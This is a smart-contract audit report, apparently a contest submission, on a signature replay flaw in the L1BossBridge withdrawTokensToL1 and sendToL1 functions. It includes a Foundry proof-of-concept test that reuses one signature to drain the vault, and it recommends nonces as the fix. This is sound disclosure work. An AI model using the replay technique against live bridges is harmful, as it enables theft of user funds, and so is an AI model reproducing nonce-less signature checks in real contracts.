Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Signature replays vulnerability

Summary

The withdrawTokensToL1 and sendToL1 functions of the L1BossBridge contract contain a critical vulnerability related to signature reuse. This issue allows for replay attacks, where the same signature(issued by a verified signer) can be used multiple times to execute transactions, potentially leading to unauthorized withdrawals or token transfers.

Vulnerability Details

The vulnerability arises due to the lack of nonce usage in the signature verification process within the withdrawTokensToL1 function. In the following Proof of Concept (POC), the same signature (v, r, s) is used three times to withdraw tokens from the Vault, demonstrating that signatures are not uniquely tied to a single transaction. This allows attackers to replay transactions, leading to unauthorized actions.

POC:

address deployer = makeAddr("deployer");
address user = makeAddr("user");
address userInL2 = makeAddr("userInL2");
Account operator = makeAccount("operator");

L1Token token;
L1BossBridge tokenBridge;
L1Vault vault;

function setUp() public {
    vm.startPrank(deployer);

    // Deploy token and transfer the user some initial balance
    token = new L1Token();
    token.transfer(address(user), 1000e18);

    // Deploy bridge
    tokenBridge = new L1BossBridge(IERC20(token));
    vault = tokenBridge.vault();

    // Add a new allowed signer to the bridge
    tokenBridge.setSigner(operator.addr, true);

    vm.stopPrank();
}

function POC_userCanWithdrawTokensWithSameSignatureMoreThanOnce() public {
address user2 = makeAddr("user2");
vm.startPrank(deployer);

    token.transfer(address(user2), 1000e18);
    vm.stopPrank();

    vm.startPrank(user2);
    uint256 depositAmount = 10e18;
    uint256 user2InitialBalance = token.balanceOf(address(user2));

    token.approve(address(tokenBridge), 2 * depositAmount);
    tokenBridge.depositTokensToL2(user2, userInL2, 2 * depositAmount);

    assertEq(token.balanceOf(address(vault)), 2 * depositAmount);
    assertEq(token.balanceOf(address(user2)), user2InitialBalance - 2 * depositAmount);
    vm.stopPrank();


    vm.startPrank(user);
    uint256 userInitialBalance = token.balanceOf(address(user));

    token.approve(address(tokenBridge), depositAmount);
    tokenBridge.depositTokensToL2(user, userInL2, depositAmount);

    assertEq(token.balanceOf(address(vault)), depositAmount*3);
    assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);

    bytes memory message = _getTokenWithdrawalMessage(user, depositAmount);
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    //First usage of the signature
    tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);

    assertEq(token.balanceOf(address(user)), userInitialBalance);
    assertEq(token.balanceOf(address(vault)), 2 * depositAmount);

    //Second usage of the signature - note that it can be reused more than twice (there is no limit)
    tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);

    assertEq(token.balanceOf(address(user)), userInitialBalance + depositAmount);
    assertEq(token.balanceOf(address(vault)), depositAmount);

    
    //Third usage of the signature - note we can use sendToL1 and user withdrew even the tokens of user2
    //The vault is completely drained
    tokenBridge.sendToL1(v, r, s, message);

    assertEq(token.balanceOf(address(user)), userInitialBalance + 2 * depositAmount);
    assertEq(token.balanceOf(address(vault)), 0);
}

function _getTokenWithdrawalMessage(address recipient, uint256 amount) private view returns (bytes memory) {
return abi.encode(
address(token), // target
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), recipient, amount)) // data
);
}

/**
 * Mocks part of the off-chain mechanism where there operator approves requests for withdrawals by signing them.
 * Although not coded here (for simplicity), you can safely assume that our operator refuses to sign any withdrawal
 * request from an account that never originated a transaction containing a successful deposit.
 */
function _signMessage(
    bytes memory message,
    uint256 privateKey
)
    private
    pure
    returns (uint8 v, bytes32 r, bytes32 s)
{
    return vm.sign(privateKey, MessageHashUtils.toEthSignedMessageHash(keccak256(message)));
}

Impact

This vulnerability poses a high risk as it allows malicious actors to repeatedly execute transactions using the same signature. It can lead to the draining of funds from the vault and unauthorized token transfers.

Tools Used

Manual inspection

Recommendations

To mitigate this vulnerability, implement a nonce mechanism for each transaction. Nonces ensure that each signature is unique and can only be used once, effectively preventing replay attacks.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.